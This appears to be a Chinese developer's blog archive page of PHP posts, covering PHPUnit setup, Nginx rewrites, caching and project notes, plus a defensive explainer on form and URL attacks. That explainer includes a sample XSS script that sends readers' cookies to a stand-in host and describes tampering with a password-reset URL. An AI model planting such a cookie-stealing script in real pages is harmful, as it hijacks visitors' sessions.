-
个人简介:
PHP开发者,高可用性、分布式集群实践者,伪Python、GAE开发者,伪Linux系统管理员,伪MySQL管理员
2009年8月至今服务于阿里巴巴云计算公司
2008年8月至2009年7月31日服务于博客大巴
-
归档
- 2012 年一月
- 2011 年十一月
- 2011 年九月
- 2011 年八月
- 2011 年七月
- 2011 年六月
- 2011 年五月
- 2011 年三月
- 2011 年二月
- 2011 年一月
- 2010 年十二月
- 2010 年十一月
- 2010 年十月
- 2010 年九月
- 2010 年八月
- 2010 年七月
- 2010 年六月
- 2010 年五月
- 2010 年四月
- 2010 年三月
- 2010 年二月
- 2010 年一月
- 2009 年十二月
- 2009 年十一月
- 2009 年十月
- 2009 年九月
- 2009 年八月
- 2009 年七月
- 2009 年六月
- 2009 年五月
- 2009 年四月
- 2009 年三月
- 2009 年二月
- 2009 年一月
- 2008 年十二月
- 2008 年十一月
- 2008 年十月
- 2008 年九月
- 2008 年八月
- 2008 年七月
- 2008 年六月
- 2008 年五月
- 2008 年四月
- 2008 年三月
- 2008 年二月
- 2008 年一月
- 2007 年十二月
- 2007 年十一月
- 2007 年四月
-
杂项
标签归档:PHP
XAMPP集成环境中安装PHPUnit
PHPUnit是一个轻量级的PHP测试框架。它是在PHP5下面对JUnit3系列版本的完整移植,是xUnit测试框架家族的一员(它们都基于模式先锋Kent Beck的设计)。单元测试是几个现代敏捷开发方法的基础,使得PHPUnit成为许多大型PHP项目的关键工具。这个工具也可以被Xdebug扩展用来生成代码覆盖率报告 ,并且可以与phing集成来自动测试,最后它还可以和Selenium整合来完成大型的自动化集成测试。 Windows平台LAMP环境XAMPP 1.7.3下如何安装PHPUnit呢? 首先,以管理员身份运行cmd,使用pear添加phpunit频道: D:\xampp\php>pear channel-discover pear.phpunit.de Channel “pear.phpunit.de” is already initialized 频道添加好,尝试安装PHPUnit: D:\xampp\php>pear install phpunit/PHPUnit Unknown remote channel: pear.symfony-project.com Unknown remote channel: pear.symfony-project.com Unknown remote channel: components.ez.no Unknown remote channel: components.ez.no phpunit/PHPUnit requires PEAR Installer (version >= … 继续阅读
DedeCMS 5.6版本的Nginx环境伪静态化
Linux环境下dedecms5.6实现伪静态的方法,5.5 5.3应该也适用。 1.首在在后台开启伪静态. 2.然后栏目和文章设置成动态浏览. 设置方法为:在后台系统设置sql里执行以下语句 将所有文档设置为“仅动态浏览”,update dede_archives set ismake=-1 将所有栏目设置为“使用动态页”,update dede_arctype set isdefault=-1 改成1就是静态。动态转换为静态后需要重新生成HTML。 3. nginx设置重写规则. 内容为: rewrite “^/list-([0-9]+)\.html$” /plus/list.php?tid=$1 last; rewrite “^/list-([0-9]+)-([0-9]+)-([0-9]+)\.html$” /plus/list.php?tid=$1&totalresult=$2&PageNo=$3 last; rewrite “^/view-([0-9]+)-1\.html$” /plus/view.php?arcID=$1 last; rewrite “^/view-([0-9]+)-([0-9]+)\.html$” /plus/view.php?aid=$1&pageno=$2 last; break; 修改channelunit.func.php文件 原来大约113行: return $GLOBALS["cfg_plus_dir"].”/view-”.$aid.’-1.html’; 修改为: return … 继续阅读
杂记
本来要学老王,取名叫乱炖,老王一直执着的用这个词,那我就换一个吧。一个多月没写博客了,前面一段时间是因为实在太忙,后面是懒,疯狂加班之后回家就什么都不想动,过了经过差不多一个多星期的正常人生活,现在终于缓过神来了。这个项目差不多是我加入以来我做过的最大的项目,很累,也很疯狂,项目还在继续,迭代一轮一轮的进行中。留下点笔记,记个印象。 1、项目开始的时候往往思想很宽泛,这个想要,那个想要,每一个功能都是无敌的,每一个功能都是必须的。我一直不赞同一开始就把产品设计的看上去很大很全,主要基于两个理由: 第一,产品一开始设计得大而全,会导致开发周期被拉长,在没有经过市场检验或者最终用户使用的时候,过长的周期会导致开发人员效率降低,没有人愿意做一个看不到前景的产品,没有来自最前线新的需求刺激,没人知道这个东西是不是靠谱的,很长的开发周期还会导致开发人员的疲惫,当然这个可能有些公司不一样,如果人手充足,这个情况或许不那么明显,但据我所知,所有的公司都是缺人的,特别是IT公司,为项目加班是常事,如果这个项目周期再长一点的话,估计就崩溃了。 第二,产品一开始就设计得大而全会导致设计出很多无用的功能,每个人都知道一个产品存在的意义在于其20%的功能,或许有人要反驳,我不预先搞多一点功能,我怎么知道那20%的功能是什么。这个疑问是有道理的,问题就在于,如果我们不能找出最精华的20%功能是什么,那么我们或许可以把圈子放大到30%,40%,甚至更大一点的范围,我们的工期也会缩短很多,避免做无谓的工作。 2、关于开发周期,我觉得最好不要超过一个自然月,一个月20个工作日,除掉UI和页面部分设计,再除去测试和修Bug时间,留给研发的时间大约40%~60%,也就是8~12个工作日,如果只需少量页面方面工作,留个研发的时间会多3~5个工作日。研发工作大约两个星期的,大部分正常上班时间是完不成工作的,不可控的因素有很多,所以这个阶段,可能会加班加点,稍微放松的时刻留在bug修复阶段和后续迭代的UI及页面设计阶段,这个阶段如果稍作控制,可以避免研发人员加班,有至少一个星期的时间让心情得到释放。 3、以上两点基本上接近了敏捷开发的管理流程,敏捷开发在最大限度的保证质量和兼顾项目人员之间的平衡,套用一句话,如果实施了敏捷开发,员工没有离职,那一定是加工资了,如果没有加薪,那一定会离职。需求的不断刺激和短周期的迭代,会导致项目人员情绪的紧张和工作的高压。 4、关于Zend DB,这个玩意的可移植性确实不错,稍作整合,就能嵌入其他框架,但是这玩意最好还是别用在复杂的项目中,而且由于Zend DB本身的设计问题,很多东西你不得不去搞个很变态的方式去解决,比如计算符合条件记录总数。可能由于出于降低耦合度的目的,Zend DB 本身不自动设置缓存,每次需要在action,在新建的每个Model中都要去写和缓存相关的代码,当然解决办法也是有的,就是自己在为Zend DB增加一个组件,将接口和数据库操作给整合进去,然后新建的Model不再继承原先的Zend_Db_Abstract,而是继承你增加的那个组件,从而做到相对优雅的使用缓存。不过我还是推崇,直接写SQL,虽然看起来不那么优雅,但是更容易掌控,对项目日后的调优,非常有益,在复杂逻辑的时候表现优越,如果只是单表操作,ORM依然是不错的选择。至于怎么选择,取决于你的需求,和你项目组人员的整体水平。 5、关于Zend Cache,这个玩意是个好东西,让我们在本地写程序的时候可以方便的使用文件缓存,到服务器上也很方便的改成memcache缓存,少排了好多二氧化碳,Zend组件最优越的地方就是可以轻松的整合,偷懒少写了好多代码,唯一用的不爽的地方是Zend Cache的Tag功能,这个功能本来是个很cool,很有用的功能,但是因为大部分key-value缓存不支持这个玩意,这个东西变成了只有文件缓存时可用,但是在每次save一个缓存的时候,如果需要给这个缓存加个过期时间的话,就得这样写:$cache->save($data, $cache_key, $tag, $expire),因为memcache不支持这个玩意,这时候每次传入的tag就是一个空的数组,我就一直不明白为啥$tag不放到最后一个参数,毕竟所以的缓存类型都支持过期时间,而只有文件缓存才支持Tag 6、关于Tornado(被墙了),我不知道国内用的人多不多,源代码hosting在github上,从邮件列表来看,似乎国内用的人不多,在华莽用户组这样的Python社区里面都几乎没有人提及,这个玩意非阻塞性的Web Server,集成了Web Framework 和 Web Server,我有幸能在我的试验性项目中使用这个东西,提供一组数据,没啥用处,供需要的人参考,单个进程大约能支持1.2K左右的活动链接,当然,要在Linux服务器上,并且支持epoll,多进程可以到2K,占用内存在100M以内,服务器没有任何异常,有进一步挖掘的潜力,我估计能超过3K,当然不建议你这么做,因为Server的后端可能处理不过来了,如果你想动手实现一个Web IM 之类的应用,Tornado是最佳选择之一,另外,如果用来做Web游戏的Server,也是非常合适的,Tornado的Web Framework这一块还很简陋,非高级人员+非Geek人员,不建议用来做产品开发 7、如果你还在寻找一个项目管理工具,我建议你使用Redmine,这玩意能够显著帮助你的团队减少抱怨,减少无效沟通,能够让上下游的同事更自如的安排计划,当然,这一切还需要你做一个布置,平台是死的,需要大家往里面填充属于自己的东西
HTML重构的一些最佳实践
以下所有内容都摘自《重构HTML这本书》,留在这里做个笔记。版权属于原作者。 1、将名称改为小写。所有的元素和属性的名称都要小写,大部分实体名称也要小写,当然设计大写字母的除外。 2、给所有的属性都加上引号。 3、补足遗漏的属性值。为所有不带属性值的属性加上属性值。如:<input type=”radio” checked>应该改成:<input type=”radio” checked=”checked”> 4、将空标签替换成空元素标签,如将<br>这样的元素替换为<br class=”empty” /> 5、添加结束标签。关闭所有的段落、清单项目、表格单元格和其他非空的元素 6、消除重叠,在父级元素上关闭每个子元素 7、把文本转换成UTF-8,因为他是唯一全平台支持的字符集 8、转义小于号,尽管有些浏览器有时候能够复原未转义的小于号,但并不是所有的浏览器都能。一个未转义的小于号更有可能导致浏览器中的内容被隐藏。就算你没有完全转换成XHTML,这也是一个需要修复的问题。 9、转义&符号,把&转换成&尽管大部分浏览器都可以处理空格后原始的&符号,但是如果没有空格会迷惑一小部分浏览器。未经转义的&符号会对读者隐藏。 10、替换虚构的实体引用,如将©right; 替换成&copy; 11、加入根元素,确保每个页面都一个html根元素。
解决file_get_contents的超时问题
file_get_contents一步就做完了打开,读取,关闭的三个动作,过程相当自动化,并且可以读取远程内容,非常方便,在网络状况差的情况下,可能会导致程序执行陷入停滞或者过慢,因为不停的重试和等待PHP进程本身的超时才会退出。晚上再次阅读了PHP手册,发现可以用一个比较变态的东西来解决,就是创建一个可以控制的资源句柄,通过控制资源句柄超时来控制file_get_contents这个方法的超时时间,使用起来很方便,也很简单。 $opts = array( ‘http’=array( ‘method’="GET", ‘timeout’=1, //设置超时,单位是秒,可以试0.1之类的float类型数字 ) ); $context = stream_context_create($opts); $contents = file_get_contents($url,false,$context); 得到内容之后该怎么处理就怎么处理了,关于tream_context_create这个方法的更多HTTP协议参数,请参见:HTTP context options,其他协议,请参见Context options and parameters Update 09-09-17: 我测试的时候使用的g.cn的首页,非常快,把timeout设置为1,没有超时的感觉,我以为是分钟为单位,感谢的Lightning$指正,单位是秒。
正则表达式匹配中文符号(GBK编码)
事实证明,网上的很多东西都是扯淡,不过原理还是有的,我碰到一个需求,给定一段文字中(GBK编码),去除所有符号,不相干符号,包括标点,日文片假名之类的,于是我在网上搜啊,搜啊,得到的结果要么就是错的,要么就根本好不相干,被抄袭得最厉害的是http://community.mybbchina.net/thread-212-post-507.html,可怜的作者,我也不知道这些人为什么抄这个,我就没测试成功过,连GBK的字符集区间都没弄清楚。 其实指定字符编码匹配中文很简单,GBK编码表中很明确的规定了所有的符号位置,而且刚好是一个区间,在维基百科上有详细的介绍,比如我要把类似 addd中华ds,#¥%…&((212))}}A■g民国ds中-啊国fjsd,【】啊Y 这样的字符串中所有非中文、英文、数字字符全部去除掉,姑且叫去除的字符为火星文,去除火星文的PHP写法为: preg_replace("/([\xA1-\xA9].{1}?)*?/", "", $str); 这样所有在全角状态下输入的非中文,英文和数字将被替换掉,如果还需要进一步处理英文状态下的,那就判断一下ASCII码值吧,或者你怕麻烦也可以把所有的都列出来,然后替换,可以参考下面,在网上找来的,非我写的,忘了出处了 /** * 清除所有常见标点符号 * @param $pointer * @return unknown_type */ function clear_point($pointer) { return str_replace ( array(’ ‘,"~","!","@","#","$","%","^","&","*",",",".","?",";",":","’",’"’," [", "]","{","}","!"," ¥","……","…","、",",","。","?",";",":","‘","“","”", "’"," 【","】","~","!","@","#","$","%","^","&","*",",","."," <", ">",";",":","'",""","[","]","{","}","/","\","《","》","-","_"), array(”,”,”,”,”,”,”,”,”,”,”,”,”,”,”,”,”,”,”,”,”,”,”,”, ”,”,”,”,”,”,”,”,”,”,”,”,”,”,”,”,”,”,”,”,”,”,”,”,”,”, ”,”,”,”,”,”,”,”,”,”,”,”,”,”), $pointer ); } … 继续阅读
论坛程序设计的思考
新入公司,项目被老同志分的七七八八,系统还没有足够的熟悉,暂时清闲了几天,看了几天的代码,有面向对象的,更多的是面向过程的,这篇博文的title值得商榷的,反正我不知道该取什么名字,姑且唬人一下。 1)设计目标,任何软件都需要一个设计目标,比如目标用户,并发数等等,论坛这个东西实时性很强,同时在线人数一般不高,如果很高的话一般会自己做,或者请公司定制开发或优化。撑死了几千人同时在线,很多论坛的设计目标就是没有目标,看到好的功能和界面,拿过来,改改,堆上去,完事 2)模块划分,市面上的几个论坛软件大多还是沿用了N多年前的架构,面向过程,而且过程不清晰,虽然在用户后台看上去好像各个功能挺独立的,看看代码就知道,里面定义了一堆全局变量,更奇怪的是没有注释,还有好几个是没用的,代码重复率非常高,require来include去,绕啊,绕啊,我就晕了~~,功能模块都没能独立,更没法谈耦合和内聚了~ 3)数据库设计,这个挺有意思的,曾经“有幸”阅读过discuz不知道几点几版本的代码,里面的SQL写得令人毛骨悚然,不得不佩服写这个SQL语句程序员的数据库造诣之深,反正我是没写过,也写不出来,我的原则是,能一次查询的不做两次查,能不用jion的就坚决不用,discuz的表有上百个之多,phpwind更是超过150个,且有不断增加之趋势,清一色使用mysql,而且还是用的MYISAM引擎,好吧,1000个并发的时候,discuz 7是挂掉了,phpwind没测试过,暂时不评论。数据表设计时冗余是必要的,不一定非要遵循范式规则,过度随意就成了灾难,我看到数据库中居然有q1,q2,q3一直到q21这样的字段,通通都是int型的,而且绝大部分都是空的,浪费空间之严重令人非常惊讶,且不说这个命名十分之不友好,这个东西能这样做的么,假如真的需要21个同样类型的q这种东西,为啥不再分一张表,然后给个ID连接一下不就好了么,这仅仅是一个例子,N张表都能找到这样的例子。用户表是论坛的核心表之一,论坛有积分啊,签名啊,生日啊,等级啊,权限啊之类之类的,用户属性自然是多之又多,可是再多也不能全放一个表里,一个表里有六七十个属性,这像话么!!绝大部分属性普通用户都是空的,又是一个“占着茅坑不拉屎”的表设计,大部分用户注册时能不填的肯定不会填,就那么昵称啊,email啊,密码啊几个字段需要insert,至于牵动六七十个属性同时更改一遍么,myisam引擎insert是加的是表级锁的啊,郁闷,纵向拆分这张表! 4)错误处理,出错了,前面加个@好了,让别人都看不到就不会有什么问题了,嗯,这个似乎是可以防止因为出错信息而泄漏一些东西,可是总得让自己知道怎么回事啊,不然怎么解决呢,还好都有官方论坛可以去问,大多数时候管理员也不知道用户出了什么问题,只能靠猜,为什么不记录一个log呢?! 5)不想说了~~先把前面的改了再说……
表单及URL攻击的几种方法
有时候程序员为了偷懒或者是在无意识的情况下缺少了对外部数据的过滤,Web安全习惯上将所有用户输入的数据假定为受污染的数据(即可能带有攻击性的数据),现在比较流行的XSS(跨站脚本攻击)就是利用对用户输入过滤不完全而进行的攻击,因为用户数据过滤不完全会导致很多很多问题,我这里只是简单的介绍几种比较常见的表单及URL攻击方式,希望读者能够最大限度的注意过滤用户输入。 1)表单数据泄漏攻击 这个一般刚入行的人可能会犯错,说得通俗一点,就是该用POST方式提交数据的时候,用了GET方式提交数据,比如,用户登录时候用了GET方法,导致用户名和密码都在URL上直接显示出来了,当然假如真的傻到这种程度,这种应用大多还是属于自己玩玩的东西,不是产品。还有一种是登录等操作,在提交数据的时候被窃听或者拦截了,这种没有很好的方式去解决,最多就是利用可以在浏览器上执行的脚本,比如JavaScript对密码和用户加密后提交到服务器,而且最好采用不可逆的公共算法,在浏览器端执行的脚本如果使用自己的算法,会增加被破解的几率,当然如果你的加密程度能超过或者接近现在流行的公共加密算法,那么也是可以的:) 2)语义URL攻击 这也是利用提交的形式及参数进行攻击的,假如使用GET方式找回密码,url为:http://example.org/private.php?user=abc&email=abc@11.org,那么产生的攻击也很简单,只要将user=abc改成任意其他的存在的用户密码就会发到后面的email中,轻松获取别人密码,POST方式大体也是通过窃听方式获得提交的数据 3)文件上传攻击 文件上传造成的危害在表单攻击中是最大的,假如成功入侵,最坏的情况甚至是可以干任何想干的事情,因此对此不可小觑。常见的有大文件攻击,假如你的服务端没有做限制的话,那么你的硬盘很快就会被塞满,或者是你在客户端中只是简单的限制了一下,那些对于心怀不轨者都是摆设,太容易绕开了。假如上传的是一个可执行的脚本,在某种情况下会激活这个脚本,那么后果就不堪设想,验证上传文件的后缀和限制上传文件的种类是能避免大多数低级别的攻击者,但根本还是让存放用户上传的文件的目录没有执行权限,脚本不能执行,那么它也仅仅是一般文本而已。 4)跨站脚本攻击 跨站脚本攻击是众所周知的攻击方式之一。所有平台上的Web应用都深受其扰,PHP应用也不例外。 所有有输入的应用都面临着风险。Webmail,论坛,留言本,甚至是Blog。事实上,大多数Web应用提供输入是出于更吸引人气的目的,但同时这也会把自己置于危险之中。如果输入没有正确地进行过滤和转义,跨站脚本漏洞就产生了。 比如在一个博客平台提供商,一个心怀不轨的用户在写博客时故意在内容中插入<script> document.location = ’http://abc.example.org/steal.php?cookies=’ + document.cookie</script>,结果所有浏览这篇文章的读者的Cookie信息都在不知情的情况下发给了第三方。 5)HTTP请求欺骗攻击 所谓上有政策下有对策,很多项目为了最大程度的得到高可信度的用户输入,甚至添加了判断referer的功能,可惜这个东西十分的不靠谱,随便一个CURL就可以欺骗过去。 毕竟所有的传输都只是个协议而已,而HTTP协议本身只是负责传输,并不负责诸如安全之类的其他问题,所以过程怎么伪造都是可以的,只要攻击者足够的熟悉HTTP协议,针对HTTP协议本身的攻击,似乎目前还没有看到,虽然欺骗、攻击随处可见,方式变化多样,只要做好了过滤,多想一点再多想一点,任何攻击得到的都是一个错误页面而已
PHP是可扩展的语言
PHP逐渐被大家认可为一种严肃的语言,但还是很多人声称它是不可扩展的。这显然不是事实–互联网上很多最大的… 继续阅读
关于PHP最佳实践方法的两个PPT
Best Practices of PHP Development View more presentations from Matthew Weier o’phinney. Everyday Best Practices of PHP Development View more presentations from Matthew Weier o’phinney.